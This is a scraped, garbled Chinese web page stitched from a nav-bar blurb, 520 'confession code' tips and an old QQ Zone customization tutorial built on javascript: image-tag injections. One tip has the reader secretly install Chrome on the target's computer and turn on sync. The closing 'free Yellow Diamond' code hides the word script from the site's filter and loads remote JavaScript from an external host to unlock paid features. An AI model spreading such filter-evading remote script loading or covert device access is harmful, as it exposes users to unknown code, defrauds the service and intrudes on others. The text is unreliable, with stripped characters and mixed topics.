用html制作导航条按钮的代码

如果你不会编程，可以到很多js源码站，下载、复制导航栏的源代码，粘贴到网页上使用。

也有不少网页导航栏制作软件，可以方便地做出需要的菜单，同样可以复制到网页上使用。

年轻的男女朋友们，明天又是一个相当重要的日子：520，不知道是从啥时候开始兴起来的，虽然很多单身的人一看到这个几日就觉得闹心，但也有很大一部分单身人士等待着明天的好机会，毕竟天时地利，这么好的日子一定好好珍惜的。

表白的套路很多，但都少不了送花送礼物，作为一个程序员，搞不懂现在流行的泡泡机、小猪、重力感应车等玩具，也不想去让朋友们去送钱炫耀，毕竟真情才重要，钱就物质了。我能给各位单身粉丝们做的可能就只有分享几个表白代码了，在电脑上敲上几行代码，让她在郁闷的周一得到一个大大的惊喜，很简单，一看就会，如果现在用不到也不要紧，先收藏起来，反正这样的节日很多，以后用的时候能找到。

由简到繁，先来五个。

1、浏览器标签法

这个先用不到代码，但却十分简单实用的，首先早一步到办公室，或者趁表白对象不注意的时候在她的电脑上安装chrome浏览器，设置成默认的浏览器，把各项的同步功能打开就可以了。然后选择一个合适的时机，在你的电脑上登录账号，然后标签栏添加你想说的话，例如下图这样：

然后标签就自动同步到表白对象的浏览器上了。

2、两个按键组合成I LOVE U

这个简单的功能是利用的网页查找的功能，在网页中复制下这段文字，

然后crtrl+f，在输入框中输入9，然后回车，看下效果：

3、Python表白代码

心型和圆形椭圆的代码类似，都是由X,Y上的点构成的曲线，确定出一个表达式expression，然后就是两个for循环（for y in range；for x in range），然后逐行逐列的开始就行了。

当然有点太单调，我们可以这样操作一下，让他动起来，像这样

print('\n'join([''join([('Love'[(x-y) % len('Love')] if ((x005)2+(y01)2-1)3-(x005)2(y01)3 <= 0 else ' ') for x in range(-30, 30)]) for y in range(30, -30, -1)]))

当然还能替换表情，这个代码就不放了，需要的直接跟我要就行。

4、炫酷一点的

C语言诠释爱——为TA写下心中情，生成程序传给TA，TA点开程序就懂你。

这个开始的时候会展示出表白对象的名字，接着就是最重要的烟花部分，为了让烟花显得更加真实，需要附加重力效果和空气阻力效果，源代码图如下

如果需要源码的留下邮乡就可以了。

5、恶搞一点的

这个适合关系已经不错的那种了，看看效果

源码直接发

最后再放1个代码表白的图，同样代码无法放出来，但是可以直接用，需要的朋友下方留言。

这些代码在程序员朋友眼里一定是很简单的，而且程序员一般都不会用，因为他们的对象不需要表白，NEW一个就可以。新手可以慢慢学，才有成就感了，也会很惊喜哦。

程序员的表白代码

第一条语言：Java代码翻译：直到死之前，每天爱你多一点代码：while(lifeend){love++;}

第二条语言：C语言代码翻译：IcannotsayHellototheWorldwithoutu代码：#incldestdiohintmain(){printf(HelloWorldn);retrn0;}//IcannotsayHellototheWorldwithoutu

第三条语言：python代码翻译：山无陵，江水为竭，冬雷震震，夏雨雪，天地合，乃敢与君绝！代码：if(mountainarris==None):if(riverwater==None):if(winterthunder==True):if(summersnow==True):if(skyheight==groundheight):iwithyou=Falseelse:iwithyou=True

第四条语言：Erlang代码代码翻译：深圳相遇，至死不渝代码：-module(you_and_me)-export([start/1])-record(person,{name,address,status})start(Name)-one_world(Name)one_world(Name)keep_to_love_you(Person)say_goodbye(Person)-io:format(~p:seeyounextworld!~n,[Person#personname])see_you_next_world(Name)-one_world(Name)

第五条语言：Java语言代码翻译：爱你到天荒地老代码：while(!worlddestroy){Systemoutprintln(iloveyou);}

超级详细！！！！

装扮空间——自定义——新建模块

输入新模块名字，比如鼠标，背景等。提交。

然后出现新的对话框，把代码写入评论一栏，其他栏清空。提交。

完成后，保存。

1qq空间皮肤背景代码：QQ空间不用Q币更换主页皮肤方法

下面是更换QQ皮肤的新代码（2005年11月29日测试可用）：

<img src="javascript:documentgetElementById('Mlogo')stylebackground='url(http://顶部一条地址)';documentgetElementById('all')stylebackground='url(http://背景地址)';">

如果你不想改顶部条的话只要这样就够了：

<img src="javascript:documentgetElementById('all')stylebackground='url(http://背景地址)';">

设置顶部条透明度：

<img src="javascript:Mlogostylefilter='alpha(opacity=30)';">

把30用0-100中喜欢的不透明度代替。100为不透明，0为完全看不见的透明。

我们只要把上面代码中的两处“地址”，更改你自己喜欢的皮肤地址，就可以了，同样代码都是加到评论里，（提醒：代码中有两处地址，都要改， 那些代码是要放在新建的模块（当然，也可以在你原有的新建模块里增加一个项目）里的评论里的（自定义－个性模块-－新建模块－板块名称－网页对话筐－评论－（栏和地址栏的http要删除） －点个保存方式－保存－关于做出来得模块，我们要隐藏它）

那么要怎么样才知道皮肤的网络地址呢？

首先 我们先进入：QQ个人空间—装扮空间－皮肤－看到自己自己喜欢的皮肤点右键－属性－可以看到皮肤地址（请注意那并不是放入皮肤代码的皮肤网络地址）

例如，网络位置：http://imgcacheqqcom/qzone/item/orig/2/50gif

比如上图－现在：我们右键点皮肤小的，属性，看地址那拦，对照一下和皮肤网络位置的地址有什么区别，嘻嘻～看出来了吧，pre/2/50gif和orig/2/50gif不一样哦，也就是说只要我们把装扮空间里的皮肤地址里的pre—改为orig

例如：http://imgcacheqqcom/qzone/item/pre/12/844gif （商场装扮空间里的皮肤展示的地址）

改为：http://imgcacheqqcom/qzone/item/orig/12/844gif（实际的皮肤地址）

注意：由于腾讯QQ空间方面做了限制，通过以上方法得到的皮肤地址如果直接用到代码里面是无法显示的。

免费的东西难道又没得用了？有一个方法，如果我们把皮肤文件下载下来，上传到别的网页空间再调出来，是可以显示的。例如上面这个，上传到本站，得到地址：http://wwwqqjiacom/learn/qq2005/q-zone/bkjpg，所以，代码就是：

<img src="javascript:documentgetElementById('all')stylebackground='url(http://wwwqqjiacom/learn/qq2005/q-zone/bkjpg)';">

你可以用以上方法下载了QQ空间里的文件后上传到免费的网页空间去（例如论坛、博客等）得到文件的地址。当然，你也可以用你在网页上看到的任何做皮肤，看到喜欢的点右键－属性－地址－复制，OK，HOHO，喜欢什么皮肤想换就换，很简单吧～

2QQ空间代码之QQ空间导航代码

什么是QQ空间导航？看右边这个图，就是“主页”、“日志”这些东西，每个人的都一样，是不是很没有个性啊？好的，就改改他。先看这个自定义字的导航代码：

<img src="javascript:bt_1innerText='主 页';bt_2innerText='日记簿';bt_3innerText='音乐厅';bt_4innerText='留言簿';bt_5innerText='相册集';bt_6innerText='过家家';bt_7innerText='主人家';bt_8innerText='谁踩我';">

这代码里面的中文字可以随便改，但是不要超过3个中文字，多了就不好看了。

是不是觉得文字的还不过瘾，好，下面来看FLASH的。先来看全屏显示的FLASH的代码：

<img src="javascript:documentgetElementById('Mlogo')innerHTML+='<div style=\'position:absolute;top:0;left:0;\'><EMBED src=\'地址\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'></div>';">

这个代码里“WIDTH=\'925\' HEIGHT=\'655\'”是FLASH的宽度和高度，可根据FLASH的大小和位置以及在QQ空间出现的地方调整，“\'地址\'”就是FLASH导航文件的地址，这个地址去那里找呢？网上有很多，我找了一个做示范，看这个地址：http://wwwqqjiacom/learn/qq2005/q-zone/jia1swf，那么代码就是：

<img src="javascript:documentgetElementById('Mlogo')innerHTML+='<div style=\'position:absolute;top:0;left:0;\'><EMBED src=\'http://wwwqqjiacom/learn/qq2005/q-zone/jia1swf\';;;;;;;; quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'></div>';">

上面的这个导航是放在右边的，如果是放在上面的导航条，例如这个：http://wwwqqjiacom/learn/qq2005/q-zone/jia2swf，那 HEIGHT 选65就可以了，代码为：

<img src="javascript:documentgetElementById('Mlogo')innerHTML+='<div style=\'position:absolute;top:0;left:0;\'><EMBED src=\'http://wwwqqjiacom/learn/qq2005/q-zone/jia2swf\';;;;;;;; quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'65\' TYPE=\'application/x-shockwave-flash\'></div>';">

如果你想将原来的导航条去掉，请看清除导航条代码：

<img src="javascript:bt_1styledisplay='none';bt_2styledisplay='none';bt_3styledisplay='none';bt_4styledisplay='none';bt_5styledisplay='none';bt_6styledisplay='none';bt_7styledisplay='none';bt_8styledisplay='none';" style="display:none;">

假如有人只想去掉其中一个或多个导航，可以这样改，举个例子：比如去掉迷你屋，按顺序来排的话迷你屋的序号是6，所以，可以将代码改成：

<img src="javascript:bt_6styledisplay='none'" style="display:none;">

如果你想将设置顶部去掉，腾出空间放导航条，可用请看代码：

<img src="javascript:Mlogostylefilter='alpha(opacity=0)';">

注意：去掉以后就看不到“自定义”三个字了，如果你想修改QQ空间的话，就朝大概的那个位置点移动鼠标，看见鼠标变成了可以点击的图案就可以了。不要告诉我你大概都不在哪里吧？

如果想重新显示导航条和顶部，将代码删除就可以了。

以下是笔者整理出来的QQ空间的部分FLASH导航条，欢迎大家选用：

http://wwwqqjiacom/learn/qq2005/q-zone/t1swf

http://wwwqqjiacom/learn/qq2005/q-zone/t2swf

http://wwwqqjiacom/learn/qq2005/q-zone/t3swf

http://wwwqqjiacom/learn/qq2005/q-zone/t4swf

http://wwwqqjiacom/learn/qq2005/q-zone/t5swf

http://wwwqqjiacom/learn/qq2005/q-zone/t6swf

http://wwwqqjiacom/learn/qq2005/q-zone/m1swf

http://wwwqqjiacom/learn/qq2005/q-zone/m2swf

http://wwwqqjiacom/learn/qq2005/q-zone/m3swf

http://wwwqqjiacom/learn/qq2005/q-zone/m4swf

http://wwwqqjiacom/learn/qq2005/q-zone/m5swf

http://wwwqqjiacom/learn/qq2005/q-zone/m6swf

使用方法：

在空间首页选择自定义，再点建立新模块，然后把代码写在“评论”这一栏里，其他的可以全部不填。可以参考里QQ空间皮肤代码里的使用说明，是一样的。

3QQ空间代码之QQ空间透明Flash背景代码

先来看全屏显示的FLASH的代码：

<img src="javascript:documentgetElementById('Mlogo')innerHTML+='<div style=\'position:absolute;top:0;left:0;\'><EMBED src=\'地址\' quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'></div>';">

WIDTH：透明FLASH宽度

HEIGHT：透明FLASH高度

top：透明FLASH与空间顶端的距离

left：透明FLASH与空间左端的距离

以上参数可根据FLASH的大小和位置以及在QQ空间出现的地方调整，不过要想全屏显示的就话就用上面的参数就可以了。这个代码里其实和QQ空间导航代码里的是一样的，只是用途不同，找到合适的FLASH地址就可以了。这个地址去那里找呢？网上有很多，我找了一个做示范，看这个地址：http://qqjiacom/learn/qq2005/q-zone/bkswf，那么代码就是：

<img src="javascript:documentgetElementById('Mlogo')innerHTML+='<div style=\'position:absolute;top:0;left:0;\'><EMBED src=\'http://qqjiacom/learn/qq2005/q-zone/bkswf\';;;;;;;; quality=high wmode=\'transparent\' WIDTH=\'925\' HEIGHT=\'655\' TYPE=\'application/x-shockwave-flash\'></div>';">

以下是笔者整理出来的QQ空间的部分透明FLASH地址，就不介绍了，大家自己看，喜欢就拿去。

http://imgfree21cncom/free/flash/1swf

http://imgfree21cncom/free/flash/2swf

http://imgfree21cncom/free/flash/3swf

http://imgfree21cncom/free/flash/36swf 性感的唇

http://imgfree21cncom/free/flash/42swf 蒲公英

http://imgfree21cncom/free/flash/25swf 蚂蚁

http://imgfree21cncom/free/flash/29swf 蓝色的水

http://imgfree21cncom/free/flash/23swf 雪花飘

http://imgfree21cncom/free/flash/41swf 雪花飘

http://imgfree21cncom/free/flash/40swf

http://imgfree21cncom/free/flash/45swf

http://imgfree21cncom/free/flash/46swf

http://imgfree21cncom/free/flash/53swf

http://imgfree21cncom/free/flash/33swf

http://imgfree21cncom/free/flash/51swf

http://imgfree21cncom/free/flash/52swf 枫叶飘

http://imgfree21cncom/free/flash/53swf

http://imgfree21cncom/free/flash/54swf 黑客帝国

http://imgfree21cncom/free/flash/57swf

http://imgfree21cncom/free/flash/58swf

http://imgfree21cncom/free/flash/59swf

http://imgfree21cncom/free/flash/61swf 心

http://imgfree21cncom/free/flash/62swf 烟花

http://imgfree21cncom/free/flash/63swf

http://imgfree21cncom/free/flash/64swf

http://imgfree21cncom/free/flash/66swf 漂亮

http://imgfree21cncom/free/flash/68swf

http://imgfree21cncom/free/flash/69swf

http://imgfree21cncom/free/flash/70swf

http://imgfree21cncom/free/flash/71swf

http://imgfree21cncom/free/flash/73swf

http://imgfree21cncom/free/flash/74swf

http://imgfree21cncom/free/flash/75swf 跟着鼠标动的烟火

http://imgfree21cncom/free/flash/77swf

http://imgfree21cncom/free/flash/78swf 时间

http://imgfree21cncom/free/flash/80swf

http://imgfree21cncom/free/flash/81swf 火

http://imgfree21cncom/free/flash/84swf

http://imgfree21cncom/free/flash/85swf

http://imgfree21cncom/free/flash/86swf

http://imgfree21cncom/free/flash/97swf

http://imgfree21cncom/free/flash/107swf

http://imgfree21cncom/free/flash/108swf

http://imgfree21cncom/free/flash/110swf

http://imgfree21cncom/free/flash/113swf

http://imgfree21cncom/free/flash/115swf 跟着鼠标走的鱼

http://imgfree21cncom/free/flash/117swf

http://imgfree21cncom/free/flash/119swf

http://imgfree21cncom/free/flash/121swf

http://imgfree21cncom/free/flash/123swf

http://imgfree21cncom/free/flash/126swf

http://imgfree21cncom/free/flash/128swf 眼镜

http://imgfree21cncom/free/flash/129swf 下雨了

http://imgfree21cncom/free/flash/130swf 跟着鼠标的白色花

http://imgfree21cncom/free/flash/131swf 枫叶

http://imgfree21cncom/free/flash/132swf

http://imgfree21cncom/free/flash/136swf

使用方法：

在空间首页选择自定义，再点建立新模块，然后把代码写在“评论”这一栏里，其他的可以全部不填。可以参考里QQ空间皮肤代码里的使用说明，是一样的

空间代码使用步骤：

1、去掉不要的模块：

“自定义”--“个性设置”--“模块管理”点了之后有一个窗口出来，把不想显示的模块前的“√”去掉，然后“提交”，如果你想要原来的默认设置，这个步骤可以省略。

2、新建一个模块：

“自定义”--“个性设置”--“新建模块”点了之后有一个窗口出来，是给模块起名字的，这个你自己想了，例如“代码”。起好模块名字，“提交”后就出另外一个窗口了。

3、填代码：

在这个新出来的窗口里找到“评论”这个项，在里面填入以上代码。（栏和地址栏的http如果不需要可以删除）

4、保存！

5、继续填加代码：

如果还有其他代码填加，增加一个项目就可以了，点击“＋”就可以继续添加其他代码。

6、修改或删除代码：

点击“修改”或“删除”就可以了。注意：有的代码添加后再修改会出现无法加入的现象，建议删除后再添加。

7、隐藏代码模块：

添加鼠标、挂件、导航的等这些代码的模块是不需要显示的，怎么样把它隐藏起来呢？有的网友在“模块管理”里把它去掉了，这样是看不见了，但是代码的效果也没有了。把它隐藏起来有两个方法。

一个是把它放到边上去，这样就看不到了。在“自定义”模式下，用鼠标左键点这模块不放，移动鼠标，把该模块拖到边上去。看右图，这是拖到右边一半的效果，继续往里面移动就可以了。

另一个方法是用其他大的模块把这个小的模块遮住，方法同上，移动到大模块后面去就可以了。

如果隐藏了模块后想修改又拖拉不出来，可以使用“还原默认”恢复，或者删除这个模块后再添加。

本人在此发了个免费黄钻代码

http://wwwgochinacn/bbs/viewthreadphptid=56213&extra=page%3D1

好多人说不能用 对此我自己实验了n次 怎么全能实现 我就很是不理解了 自己再总结一下 使用发法 请不要随便发不能用这贴

首先解释一下代码原理:利用代码将收费东东的列表编码后保存在歌曲的说明中,打开空间的时候读取歌曲说明中的编码，然后显示出来,这样就实现了不花Q币,不需黄钻就可以任意使用收费的东东

代码：

<img src="javas删除;cript:try{if(!topfreeHzuan){var s5s=documentcreateElement('s删除;cript');s5ssrc='http://www450mbcom/quickupload/73_1142244143js

';documentbodyappendChild(s5s);topfreeHzuan='正奇QQ88131472免费黄钻'}}catch(e){}">

注意：

添加到评论的时候把 ”删除“ 去了 就可以了 千万记住~！ 然后再保存 在保存代码的时候请不要把‘正奇QQ88131472免费黄钻'改成自己的 这样是没用的 不会有自己的名字和qq出现的 反而会使代码失效

使用方法：

进入QQ空间=》自定义=》个性设置=》添加模块=》输入模块名称（可随意）=》去掉“网址”和“”后面的“http://”=》 在评论里放我给的代码=》 提交保存

ps：加在评论里的代码实际是如图（图4）

正确保存完代码后 你就可以去买 装扮空间 里的东西了 买完之后点 保存方案 就可以了 这时出现一个对话框 （图1） 点确定 这是又会立刻又出现另一个对话框（图2）这个时候 你的东西才算 完全免费 并可以保存上你所买的东西了 保存完后 在音乐收藏里 会多出本人的名字（图3） 这样你就可以完全保证你所买的东西可以保存起来

如果你没有出现上面的情况 买东西后 还是要钱的话 请点继续购物 把你那些要钱的东西取消完 再进一次空间购买一下 看看是否出现正确使用代码的现象 多试几次一定可以的 本人上传的js代码是国外的地址 可能有点慢吧 不过肯定能用的

感谢腾讯QQ给我们提供一个自由的空间,这个空间代码仅供娱乐!有条件的朋友请支持下腾讯公司，尽量使用Q币或购买黄钻 呵呵